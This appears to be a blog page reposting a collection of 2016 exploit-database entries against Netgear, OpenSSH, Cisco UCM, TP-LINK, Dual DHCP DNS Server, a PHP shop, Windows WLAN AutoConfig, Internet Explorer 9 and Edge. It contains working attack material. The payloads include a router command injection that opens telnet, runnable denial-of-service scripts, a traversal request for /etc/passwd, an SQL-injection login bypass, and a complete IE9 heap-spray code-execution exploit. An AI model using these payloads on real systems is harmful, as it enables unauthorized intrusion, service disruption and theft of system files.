Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863587820

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Netgear R7000 - Command Injection
# Date: 6-12-2016
# Exploit Author: Acew0rm
# Contact: https://twitter.com/Acew0rm1
# Vendor Homepage: https://www.netgear.com/
# Category: Hardware
# Version: V1.0.7.2_1.1.93

-Vulnerability
An unauthenticated user can inject commands threw
http://RouterIP/cgi-bin/;COMMAND.

-Proof Of Concept
http://RouterIP/;telnetd$IFS-p$IFS'45' will open telnet on port 45.
            
################################################################################
# Title		: OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
# Author	: Kashinath T (tkashinath@secpod.com) (www.secpod.com)
# Vendor	: http://www.openssh.com/
# Software	: http://www.openssh.com/
# Version	: OpenSSH before 7.3
# Tested on	: Ubuntu 16.04 LTS, Centos 7
# CVE 		: CVE-2016-6515
# Date		: 20-10-2016
#
# NOTE:
# If the remote machine is installed and running OpenSSH version prior to 7.3,
# it does not limit the password length for authentication. Hence, to exploit
# this vulnerability' we will send a crafted data which is of 90000 characters
# in length to the 'password' field while attempting to log in to a remote
# machine via ssh with username as 'root'.
#
# For more info refer,
# http://www.secpod.com/blog/openssh-crypt-cpu-consumption
################################################################################

import sys
from random import choice
from string import lowercase

try:
    import paramiko
except ImportError:
    print "[-] python module 'paramiko' is missing, Install paramiko with" \
          " following command 'sudo pip install paramiko'"
    sys.exit(0)


class ssh_exploit:

    def __init__(self):
        """
        Initialise the objects
        """

    def ssh_login(self, remote_ip):

        try:
            # Crafted password of length 90000
            passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase)
                                     for i in range(passwd_len))

            # Connect to a remote machine via ssh
            ssh = paramiko.SSHClient()
            ssh.load_system_host_keys()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            # calling connect in infinite loop
            print "[+] Entering infinite loop"
            while 1:
                ssh.connect(remote_ip, username='root',
                            password=crafted_passwd)

        except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
            sys.exit(msg)


def main():

    if len(sys.argv) != 2:
        print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
        sys.exit()

    # Calling ssh_connect
    ref_obj = ssh_exploit()
    ref_obj.ssh_login(sys.argv[1])


if __name__ == "__main__":
    main()
            
# Exploit Title: Cisco Unified Communications Manager Administrative Web Interface Directory traversal CVE-2013-5528
# Date: 7th December 2016
# Exploit Author: justpentest
# Vendor Homepage: https://software.cisco.com/
# Software Link: https://software.cisco.com/download/navigator.html?mdfid=268439621
# Version: Cisco Unified Communications Manager Administrative Web Interface unpatched version of 7.x, 8.x or 9.x software
# Contact: transform2secure@gmail.com
# CVE : CVE-2013-5528


1) Description: 
Directory traversal vulnerability exists in Cisco Unified Communications Manager Administrative Web Interface CVE-2013-5528.
The vulnerability is due to a failure to properly sanitize user-supplied input passed to a specific function. 
An attacker could exploit this vulnerability by supplying a series of directory traversal characters after authentication, allowing the attacker to designate a file outside the restricted directory to be returned. 
An exploit could allow the attacker to obtain the contents of any file that is readable by the Apache Tomcat service account.

2) Exploit:
http://justpentest.com/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd

3) Fixed version:
Cisco has fixed the vulnerability in 9.1.2, 10.5.2 and 11.5.x.

For more details visit http://justpentest.blogspot.in/2016/12/lfi-and-xss-on-cisco-unified-CM-CVE-2013-5528.html

4) References:
 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco-SA-20131011-CVE-2013-5528 
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCui78815  
            
# Exploit Title: TP-LINK TD-W8951ND - Denial of Service
# Date: 2016-12-07
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM 
# Tested on: Windows AND Linux
# Demo Construction : https://youtu.be/7mv_rW3mtVE

#!/usr/bin/python
import urllib

site=raw_input("Enter IP Address : ")
if (site.find('http://')<0):
    strh = "http://"
    url=strh+site
else:
    url=site

try:
    url += "/Forms/status_1?flagFresh=0&1 and benchmark(20000000%2csha1(1))--=1"
    r = urllib.urlopen(url)
    print r.code
    print "Done!!"
except:
    pass
            
# Title :  Dual DHCP DNS Server 7.29 Buffer Overflow (Dos)
# Date : 07/12/2016
# Author : R-73eN
# Tested on: Dual DHCP DNS Server 7.29 on Windows 7 SP1 (32bit)
# Vendor : http://dhcp-dns-server.sourceforge.net/
# Software : https://sourceforge.net/projects/dhcp-dns-server/files/Dual%20DHCP%20DNS%20Server/DualServerInstallerV7.29.exe/download
# Vulnerability Description:
# The software crashes when it tries to write to an invalid address.
#
# MOV EBX,DWORD PTR SS:[EBP+8] -> EBP+8 is part of our controlled input
# MOV DWORD PTR SS:[ESP+4],31              
# MOV DWORD PTR SS:[ESP],1 
# .........................
# MOV DWORD PTR DS:[EBX+24],EAX -> Here happens the corruption, EAX fails to move EBX which is our controlled adress + 24 bytes.
#
# I think this vulnerability is not exploitable because every module that is loaded has ASLR/DEP/SAFESEH enabled (Win 7)
# Even if we try to put some valid pointers to manipulate the execution flow we can't because every address on the DualServ.exe 
# contains 00 which is a badchar in our case.
#

import socket
import time
import sys

banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

host = ""
port = 6789

def send_request(host,port,data):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((host,port))
		s.send(data)
		print "[+] Malicious Packet Sent [+]\n"
		
	except Exception:
		print "[+] Exploit failed . . .[+]\n"
	s.close()

	

ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400

if(len(sys.argv) < 1):
    print '\n Usage : exploit.py ipaddress\n'
    exit(0)
else:
    host = sys.argv[1]

#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))
            
# Exploit Title: Edge SkateShop Authentication Bypass
# Date: 6/12/2016
# Exploit Author: Delilah
# Vendor HomePage: http://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html
# Software Link: http://www.sourcecodester.com/sites/default/files/download/gebbz/edgesketch.zip
# Tested on: xampp

go to http://localhost/EdgeSketch/adminlogin.php
 
username = admin' #
 
password = anything

# Proof of Concept:

POST /EdgeSketch/adminlogin.php HTTP/1.1
Host: 10.0.2.15
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15/EdgeSketch/
Cookie: PHPSESSID=5n96kq5kd17joptp1sivhm4tl4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

admin_username=admin'%20#&admin_password=fdgdhf&admin_login=



HTTP/1.1 200 OK
Date: Tue, 06 Dec 2016 16:10:00 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
X-Powered-By: PHP/5.6.28
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 107
Connection: close
Content-Type: text/html; charset=UTF-8

<script>alert('You're successfully login!')</script><script>window.open('Admin/index.php','_self')</script>
            
#!/usr/bin/python
# wlanautoconfig-poc.py
#
# Windows WLAN AutoConfig Named Pipe POC
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2016
#
# >	wifinetworkmanager.dll!__FatalError(char const *,unsigned # long,char const *, ...)
#	AsyncPipe::ReadCompletedCallback(void)
#	AsyncPipe::Dispatch(int,void *,void *, ...)
#	Synchronizer::EnqueueEvent(...)
#	AsyncPipe::ReadCompletedStatic(...)
#
# --> STATUS_STACK_BUFFER_OVERRUN @ svchost.exe
#
# Tested:
#
# Windows 10 x86/x64 BUILD 10.0.14393 (vulnerable)
# Windows Server 2012 R2 x64 (not vulnerable, service doesn't create pipe)
#
# Dependencies:
#
# pip install pypiwin32
#
# Notes:
#
# This won't kill Wlansvc service, but the thread servicing the pipe will terminate
#

import win32file
import pywintypes
import msvcrt

BUF_SIZE = 4096
PIPE_NAME = r'\\.\pipe\WiFiNetworkManagerTask'

def main():
    try:
        handle = win32file.CreateFile(PIPE_NAME, win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, 0, None)
    except Exception:
        print("Error: CreateFile() failed\n")
        return

    fd = msvcrt.open_osfhandle(handle, 0)

    if(fd < 0):
        print("Error: open_osfhandle() failed\n")
        return

    buf = bytearray(b'\x42' * BUF_SIZE)

    # exact number here could vary, keeping it simple
    while True:
        win32file.WriteFile(handle, buf)


if __name__ == "__main__":
    main()
            
<!--
Source: http://blog.skylined.nl/20161206001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack. This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Repro.html:

<!doctype html>
<script>
  var o­Window = window.open("about:blank");
  o­Window.exec­Script('window.o­URIError = new URIError();o­URIError.name = o­URIError;')
  try { "" + o­Window.o­URIError; } catch(e) { }
  try { "" + o­Window.o­URIError; } catch(e) { }
</script>

Description

A Javascript can construct an URIError object and sets that object's name property to refer to the URIError object, creating a circular reference. When that Javascript than attempts to convert the URIError object to a string, MSIE attempts to convert the URIError object's name to a string, which creates a recursive code loop that eventually causes a stack exhaustion.

MSIE attempts to handle this situation gracefully by generating a Java­Script exception. While generating the exception, information about the call stack is gathered using the Javascript­Stack­Walker class. It appears that the code that does this initializes a pointer variable on the stack the first time it is run, but re-uses it if it gets called a second time. Unfortunately, the information the pointer points to is also stored on the stack, but is removed from the stack after the first exception is handled. Careful manipulation of the stack during both exceptions allow an attacker to control the data the pointer points to during the second exception.

This problem is not limited to the URIError object: any recursive function call can be used to trigger the issue, as shown in the exploit below.

Exploit

As mentioned above, the vulnerable pointer points to valid stack memory during the first exception, but it is "popped" from the stack before the second. In order to exploit this vulnerability, the code executed during the first exception is going to point this pointer to a specific area of the stack, while the code executed during the second is going to allocate certain values in that same area before the pointer is re-used.

Control over the stack contents during a stack exhaustion can be achieved by making the recursive calls with many arguments, all of which are stored on the stack. This is similar to a heap-spray storing values on large sections of the heap in that it is not entirely deterministic, but the odds are very highly in favor of you setting a certain value at a certain address.

The exploit triggers the first exception by making recursive calls using a lot of arguments. In each loop, a lot of stack space is needed to make the next call. At some point there will not be enough stack space left to make another call and an exception is thrown. If N arguments are passed during each call, N*4 bytes of stack are needed to store them. The number of bytes left on the stack at the time of the exception varies from 0 to about 4*N and thus averages to about 4*N/2. The vulnerable pointer gets initialized to point to an address near the stack pointer at the time of the exception, at approximately (bottom of stack) + 4*N/2.

The exploit then triggers another stack exhaustion by making recursive calls using many arguments, but significantly less than before. If M arguments are passed during each call this time, the number of bytes left on the stack at the time of the exception averages to about 4*M/2.

When the second exception happens, the vulnerable pointer points inside the stack that was "sprayed" with function arguments. This means we can control where it points to. The pointer is used as an object pointer to get a function address from a vftable, so by using the right value to spray the stack, we can gain full control over execution flow.

The below schematic shows the layout of the stack during the various stages of this exploit:

|                                                                              |
|<- bottom of stack                                             top of stack ->|
|                                                                              |
| Stack layout at the moment the first exception is triggered:                 |
|                                                                              |
|                 [--- CALL X ---][-- CALL X-1 --][-- CALL X-2 --][...........]|
|                                                                              |
|{---------------} Stack space available is less than 4*N bytes                |
|                                                                              |
|                ^^^                                                           |
|                Vulnerable pointer gets initialized to point around here      |
|                                                                              |
|                                                                              |
|                                                                              |
| Stack layout at the moment the second exception is triggered:                |
|                                                                              |
|    [CALL Y][CALL Y-1][CALL Y-2][CALL Y-3][CALL Y-3][........................]|
|                                                                              |
|{--} Stack space available is less than 4*M bytes                             |
|                                                                              |
|                ^^^                                                           |
|                Vulnerable pointer still points around here, most likely at   |
|                one of the arguments pushed onto the stack in a call.         |
|                                                                              |

In the Proof-of-Concept code provided below, the first exception is triggered by recursively calling a function with 0x2000 arguments (N = 0x2000). The second exception is triggered by recursively calling a function with 0x200 arguments (M = 0x200). The values passed as arguments during the second stack exhaustion are set to cause the vulnerable pointer to point to a fake vftable on the heap. The heap is sprayed to create this fake vftable. A fake function address is stored at 0x28000201 (p­Target) that points to a dummy shellcode consisting of int3's at 0x28000300 (p­Shellcode). Once the vulnerability is triggered, the vulnerable pointer is used to read the pointer to our shellcode from our fake vftable and called, which will attempt to execute our shellcode.

Sploit.html:
-->

<!doctype html>
<script src="String.js"></script>
<script src="spray­Heap.js"></script>
<script>
  function stack­Overflow­High­On­Stack() {
    stack­Overflow­High­On­Stack.apply(0, new Array(0x2000));
  }
  function attack(p­Target) {
    var ax­Args = [];
    while (ax­Args.length < 0x200) ax­Args.push((p­Target - 0x69C) >>> 1);
    exception­Low­On­Stack­With­Spray();
    function exception­Low­On­Stack­With­Spray() {
      try {
        (function(){}).apply(0, ax­Args);
      } catch (e) {
        throw 0;
      }
      exception­Low­On­Stack­With­Spray.apply(0, ax­Args);
    }
  }
  var p­Spray­Start­Address          = 0x09000000;
  var d­Heap­Spray­Template = {};
  var p­Target                     = 0x28000201;
  var p­Shellcode                  = 0x28000300;
  d­Heap­Spray­Template[p­Target]     = p­Shellcode;
  d­Heap­Spray­Template[p­Shellcode]  = 0x­CCCCCCCC;
  window.s­Heap­Spray­Block = create­Spray­Block(d­Heap­Spray­Template);
  window.u­Heap­Spray­Block­Count = get­Spray­Block­Count(d­Heap­Spray­Template, p­Spray­Start­Address);
  var o­Window = window.open("about:blank");
  function prepare() {
    window.as­Heap­Spray = new Array(opener.u­Heap­Spray­Block­Count);
    for (var i = 0; i < opener.u­Heap­Spray­Block­Count; i++) {
      as­Heap­Spray[i] = (opener.s­Heap­Spray­Block + "A").substr(0, opener.s­Heap­Spray­Block.length);
    }
  }
  o­Window.eval("(" + prepare + ")();");
  try {
    String(o­Window.eval("({to­String:" + stack­Overflow­High­On­Stack + "})"));
  } catch(e) {
    o­Window.eval("(" + attack + ")(" + p­Target + ")");
  }
</script>

<!--
String.js:

String.from­Word = function (w­Value) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.from­Char­Code(w­Value);
}
String.from­Words = function (aw­Values) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.from­Char­Code.apply(0, aw­Values);
}
String.from­DWord = function (dw­Value) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.from­Char­Code(dw­Value & 0x­FFFF, dw­Value >>> 16);
}
String.from­DWords = function (au­Values) {
  var as­DWords = new Array(au­Values.length);
  for (var i = 0; i < au­Values.length; i++) {
    as­DWords[i] = String.from­DWord(au­Values[i]);
  }
  return as­DWords.join("");
}

String.prototype.repeat = function (u­Count) {
  // Return the requested number of concatenated copies of the string.
  var s­Repeated­String = "",
      u­Left­Most­Bit = 1 << (Math.ceil(Math.log(u­Count + 1) / Math.log(2)) - 1);
  for (var u­Bit = u­Left­Most­Bit; u­Bit > 0; u­Bit = u­Bit >>> 1) {
    s­Repeated­String += s­Repeated­String;
    if (u­Count & u­Bit) s­Repeated­String += this;
  }
  return s­Repeated­String;
}
String.create­Buffer = function(u­Size, u­Index­Size) {
  // Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte
  // "length" header and 2 byte "\0" footer. The optional argument u­Index­Size can be 1, 2, 4 or 8, at which point the 
  // buffer will be filled with indices of said size (this is slower but useful for debugging).
  if (!u­Index­Size) return "\u­DEAD".repeat(u­Size / 2 - 3);
  var au­Buffer­Char­Codes = new Array((u­Size - 4) / 2 - 1);
  var u­MSB = u­Index­Size == 8 ? 8 : 4; // Most significant byte.
  for (var u­Char­Index = 0, u­Byte­Index = 4; u­Char­Index < au­Buffer­Char­Codes.length; u­Char­Index++, u­Byte­Index +=2) {
    if (u­Index­Size == 1) {
      au­Buffer­Char­Codes[u­Char­Index] = u­Byte­Index + ((u­Byte­Index + 1) << 8);
    } else {
      // Set high bits to prevents both NULLs and valid pointers to userland addresses.
      au­Buffer­Char­Codes[u­Char­Index] = 0x­F000 + (u­Byte­Index % u­Index­Size == 0 ? u­Byte­Index & 0x­FFF : 0);
    }
  }
  return String.from­Char­Code.apply([][0], au­Buffer­Char­Codes);
}
String.prototype.clone = function () {
  // Create a copy of a BSTR in memory.
  s­String = this.substr(0, this.length);
  s­String.length;
  return s­String;
}

String.prototype.replace­DWord = function (u­Byte­Offset, dw­Value) {
  // Return a copy of a string with the given dword value stored at the given offset.
  // u­Offset can be a value beyond the end of the string, in which case it will "wrap".
  return this.replace­Word(u­Byte­Offset, dw­Value & 0x­FFFF).replace­Word(u­Byte­Offset + 2, dw­Value >> 16);
}

String.prototype.replace­Word = function (u­Byte­Offset, w­Value) {
  // Return a copy of a string with the given word value stored at the given offset.
  // u­Offset can be a value beyond the end of the string, in which case it will "wrap".
  if (u­Byte­Offset & 1) {
    return this.replace­Byte(u­Byte­Offset, w­Value & 0x­FF).replace­Byte(u­Byte­Offset + 1, w­Value >> 8);
  } else {
    var u­Char­Index = (u­Byte­Offset >>> 1) % this.length;
    return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1);
  }
}
String.prototype.replace­Byte = function (u­Byte­Offset, b­Value) {
  // Return a copy of a string with the given byte value stored at the given offset.
  // u­Offset can be a value beyond the end of the string, in which case it will "wrap".
  var u­Char­Index = (u­Byte­Offset >>> 1) % this.length,
      w­Value = this.char­Code­At(u­Char­Index);
  if (u­Byte­Offset & 1) {
    w­Value = (w­Value & 0x­FF) + ((b­Value & 0x­FF) << 8);
  } else {
    w­Value = (w­Value & 0x­FF00) + (b­Value & 0x­FF);
  }
  return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1);
}

String.prototype.replace­Buffer­DWord = function (u­Byte­Offset, u­Value) {
  // Return a copy of a BSTR with the given dword value store at the given offset.
  if (u­Byte­Offset & 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") must be Word aligned");
  if (u­Byte­Offset < 4) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR size dword.");
  var u­Char­Index = u­Byte­Offset / 2 - 2;
  if (u­Char­Index == this.length - 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR terminating NULL.");
  return this.substr(0, u­Char­Index) + String.from­DWord(u­Value) + this.substr(u­Char­Index + 2);
}

spray­Heap.js:

console = window.console || {"log": function(){}};
function bad(p­Address) {
  // convert a valid 32-bit pointer to an invalid one that is easy to convert
  // back. Useful for debugging: use a bad pointer, get an AV whenever it is
  // used, then fix pointer and continue with exception handled to have see what
  // happens next.
  return 0x80000000 + p­Address;
}
function blanket(d­Spray_­dw­Value_­p­Address, p­Address) {
  // Can be used to store values that indicate offsets somewhere in the heap
  // spray. Useful for debugging: blanket region, get an AV at an address
  // that indicates where the pointer came from. Does not overwrite addresses
  // at which data is already stored.
  for (var u­Offset = 0; u­Offset < 0x40; u­Offset += 4) {
    if (!((p­Address + u­Offset) in d­Spray_­dw­Value_­p­Address)) {
      d­Spray_­dw­Value_­p­Address[p­Address + u­Offset] = bad(((p­Address & 0x­FFF) << 16) + u­Offset);
    }
  }
}
var gu­Spray­Block­Size = 0x02000000; // how much fragmentation do you want?
var gu­Spray­Page­Size  = 0x00001000; // block alignment.

// Different versions of MSIE have different heap header sizes:
var s­JSVersion;
try{
  /*@cc_­on @*/
  s­JSVersion = eval("@_jscript_­version");
} catch(e) {
  s­JSVersion = "unknown"
};
var gu­Heap­Header­Size = {
    "5.8": 0x24,
    "9": 0x10, // MSIE9
    "unknown": 0x10
}[s­JSVersion]; // includes BSTR length
var gu­Heap­Footer­Size = 0x04;
if (!gu­Heap­Header­Size)
    throw new Error("Unknown script version " + s­JSVersion);

function create­Spray­Block(d­Spray_­dw­Value_­p­Address) {
  // Create a spray "page" and store spray data at the right offset.
  var s­Spray­Page = "\u­DEAD".repeat(gu­Spray­Page­Size >> 1);
  for (var p­Address in d­Spray_­dw­Value_­p­Address) {
    s­Spray­Page = s­Spray­Page.replace­DWord(p­Address % gu­Spray­Page­Size, d­Spray_­dw­Value_­p­Address[p­Address]);
  }
  // Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer
  // used by MSIE for larger heap allocations.
  var u­Spray­Pages­Per­Block = Math.ceil(gu­Spray­Block­Size / gu­Spray­Page­Size);
  var s­Spray­Block = (
    s­Spray­Page.substr(gu­Heap­Header­Size >> 1) +
    s­Spray­Page.repeat(u­Spray­Pages­Per­Block - 2) +
    s­Spray­Page.substr(0, s­Spray­Page.length - (gu­Heap­Footer­Size >> 1))
  );
  var u­Actual­Spray­Block­Size = gu­Heap­Header­Size + s­Spray­Block.length * 2 + gu­Heap­Footer­Size;
  if (u­Actual­Spray­Block­Size != gu­Spray­Block­Size)
      throw new Error("Assertion failed: spray block (" + u­Actual­Spray­Block­Size.to­String(16) + ") should be " + gu­Spray­Block­Size.to­String(16) + ".");
  console.log("create­Spray­Block():");
  console.log("  s­Spray­Page.length: " + s­Spray­Page.length.to­String(16));
  console.log("  u­Spray­Pages­Per­Block: " + u­Spray­Pages­Per­Block.to­String(16));
  console.log("  s­Spray­Block.length: " + s­Spray­Block.length.to­String(16));
  return s­Spray­Block;
}
function get­Heap­Block­Index­For­Address(p­Address) {
  return ((p­Address % gu­Spray­Page­Size) - gu­Heap­Header­Size) >> 1;
}
function get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address) {
  p­Start­Address = p­Start­Address || 0;
  var p­Target­Address = 0x0;
  for (var p­Address in d­Spray_­dw­Value_­p­Address) {
    p­Target­Address = Math.max(p­Target­Address, p­Address);
  }
  u­Spray­Blocks­Count = Math.ceil((p­Target­Address - p­Start­Address) / gu­Spray­Block­Size);
  console.log("get­Spray­Block­Count():");
  console.log("  p­Target­Address: " + p­Target­Address.to­String(16));
  console.log("  u­Spray­Blocks­Count: " + u­Spray­Blocks­Count.to­String(16));
  return u­Spray­Blocks­Count;
}
function spray­Heap(d­Spray_­dw­Value_­p­Address, p­Start­Address) {
  var u­Spray­Blocks­Count = get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address);
  // Spray the heap by making copies of the spray "block".
  var as­Spray = new Array(u­Spray­Blocks­Count);
  as­Spray[0] = create­Spray­Block(d­Spray_­dw­Value_­p­Address);
  for (var u­Index = 1; u­Index < as­Spray.length; u­Index++) {
    as­Spray[u­Index] = as­Spray[0].clone();
  }
  return as­Spray;
}
Time-line
13 October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
18 November 2012: This vulnerability was submitted to ZDI.
27 November 2012: EIP declines to acquire this vulnerability because they believe it to be a copy of another vulnerability they already acquired.
7 December 2012: ZDI declines to acquire this vulnerability because they believe it not to be exploitable.

During the initial report detailed above, I did not have a working exploit to prove exploitability. I also expected the bug to be fixed soon, seeing how EIP believed they already reported it to Microsoft. However, about two years later, I decided to look at the issue again and found it had not yet been fixed. Apparently it was not the same issue that EIP reported to Microsoft. So, I decided to try to have another look and developed a Proof-of-Concept exploit.

April 2014: I start working on this case again, and eventually develop a working Proof-of-Concept exploit.
6 November 2014: ZDI was informed of the new analysis and reopens the case.
15 November 2014: This vulnerability was submitted to i­Defense.
16 November 2014: i­Defense responds to my report email in plain text, potentially exposing the full vulnerability details to world+dog.
17 November 2014: ZDI declines to acquire this vulnerability after being informed of the potential information leak.
11 December 2012: This vulnerability was acquired by i­Defense.
The accidentally potential disclosure of vulnerability details by i­Defense was of course a bit of a disappointment. They reported that they have since updated their email system to automatically encrypt emails, which should prevent this from happening again.

9 June 2015: Microsoft addresses this vulnerability in MS15-056.
6 December 2016: Details of this vulnerability are released.
-->
            
Source: http://blog.skylined.nl/20161205001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Edge. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Edge

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Discovery

This issue was found through fuzzing in the 64-bit version of Microsoft Edge, in which the original repro triggered what appeared to be a NULL pointer dereference in CBase­Scriptable::Private­Query­Interface. So, after a very brief look at the repro, I filed a bug in the public bug tracker and published it on twitter. The original repro was:

<body onload=typeof(open().crypto)>

Soon after, I found another repro that trigger a slightly different NULL pointer dereference in CBase­Scriptable::Private­Query­Interface in a 64-bit version of Edge. The second repro was:

<body onload=typeof(open().ms­Credentials)>

I never tested the these two repros in a 32-bit version of Edge before publishing them, which I immediately regretted after finding that the second repro triggered an access violation using the obviously non-NULL address 0x1BF37D8 in a 32-bit version of Edge!

Around this time, I started finding many variations of this bug: getting the type of various properties or objects associated with another window was triggering all kinds of access violations. Many of these were not using NULL pointers on 32-bit Edge. I collected all the variations my fuzzers had found and come up with these additional repros:

<body onload=typeof(open().document.create­Element("canvas").get­Context("2d"))>

This triggered an access violation in edgehtml.dll!CBase­Scriptable::Private­Query­Interface while attempting to read from address 0x4C261 in the 32-bit version of Edge.

<body onload=typeof(open().navigator.media­Devices)>

This triggered an access violation in charkra.dll!Thread­Context::Pre­Sweep­Callback while attempting to read from address 0x­FF80A90F in the 32-bit version of Edge.

<body onload=typeof(open().to­String)>

This triggered an assertion failure because it was calling a deprecated API in the 32-bit version of Edge.

I looked again at the original crypto repro and noticed that although it triggered an access violation using a NULL pointer on both 32-bit and 64-bit versions of Edge, the two addresses (3 and 8 respectively) had different alignment. This is rather odd: true NULL pointer dereferences can cause an access violation at a different offset from NULL on these two architectures because property values and pointers stored before the one being read/written can have different sizes on 32-bit and 64-bit systems, but one usually expects them to have similar alignment: the last two bits of the address should be the same.

Report

If only I had tested the original repro in a 32-bit version of Edge when I first analyzed the issue, I might have realized it was more than a simple NULL pointer and not published it before doing additional research.

I contacted ZDI and asked if they would be interested in buying the vulnerability at this point, given that I publicly released the repro that triggered a NULL pointer and filed it with Microsoft. I was hoping they would decide that this did not disclose the underlying vulnerability and that it as such would still be a 0-day. Unfortunately for me, they were not interested in acquiring details in this situation.

At that point I decided to contact the Microsoft Security Response Center and report the additional information I had found. I also contacted a few people working on the Edge team at Microsoft directly to let them know they might want to escalate this bug from a simple NULL pointer to a security vulnerability. Unfortunately, this let them to decided to mark the bug I had filed in the Edge bug tracker as hidden. I warned them that this did little good, as the details were still public in my twitter and even if I deleted that, in general what goes on the internet stays on the internet.

Analysis

Since I had publicly released the repro, I was not going to be seeing any kind of reward for this bug, so analyzing the issue was not a priority for me. Unfortunately that meant I did not analyze it at all, other than to speculate that this bug was likely to have been a type-confusion or bad cast, where assembled code was used as data, leading to most of these repros triggering an access violation at a static address that depended on the code they were using as data. It may therefore be possible to find a variation that uses code that represents an address in the address space of Edge where an attacker might store data under his/her control. This is especially true for 32-bit Edge, as the address space is a lot smaller. Depending on what the code does with the address, it might be possible to execute arbitrary code under perfect circumstances.

On Hiding bugs in public bug trackers

Hiding a publicly reported bug after the fact is a very bad idea IMHO, as it paints an easy to detect target on the bug. Every smart attacker should have a system that makes regular copies of all publicly reported bugs in target applications and reports to their owner all bugs that become hidden, with a copy of all the information it scraped from the bug before it was hidden. Since hiding a public bug only ever happens for one of two reasons: the bug was found to be a security issue, or the report accidentally contains personal information that the owner wants hidden. It should be quite easy to distinguish between the two to filter out the vulnerabilities, giving an attacker a nearly free stream of nearly 0-day bugs. If you work on a team that has a public bug-tracker, you may want to discuss this with your team and decided how to handle such situations.

Conclusion

As useful as Bug­Id is in automating a lot of the analysis I do on every bug I find, and in helping me prioritize the issues that are most likely to be vulnerabilities, it is not perfect and cannot always detect a vulnerability for what it is. Bug­Id is not a perfect replacement for full manual analysis of bugs.

In this case I relied to heavily on its ability to distinguish vulnerabilities from other bugs. Because of the nature of this issue, the repros caused access violations at static addresses, many of which near enough to NULL to be interpreted as NULL pointer dereferences, especially for the first repro I found. Bug­Id can not actually determine the root cause of a crash, but attempts to deduce the root cause based on the details of the crash it causes. In this case, the crash looked too similar to a regular NULL pointer dereference for Bug­Id to detect it as anything else.

However, in my current situation, where I am finding way more bugs than I can analyze manually, Bug­Id does a very good job at helping me prioritize and analyze issues. I have used Bug­Id on hundreds of bugs and, as far as I know, this is the first time I mistook a security vulnerability for a regular bug based on the Bug­Id report. As such, the false-negative rate I have experienced is a fraction of a percent, which IMHO is remarkably low and entirely acceptable. At the same time, the false-positive rate I have seen so far is exactly zero.

In order to prevent this from happening in the future, I now test each repro in both the 32-bit and 64-bit version of Edge, do more manual analysis on bugs that get reported as a NULL pointer with a non-DWORD-aligned address (e.g. 3 in this case), and wait slightly longer for my fuzzers to find variations of a bug before I start my analysis and report the issue as a non-security bug.

Time-line
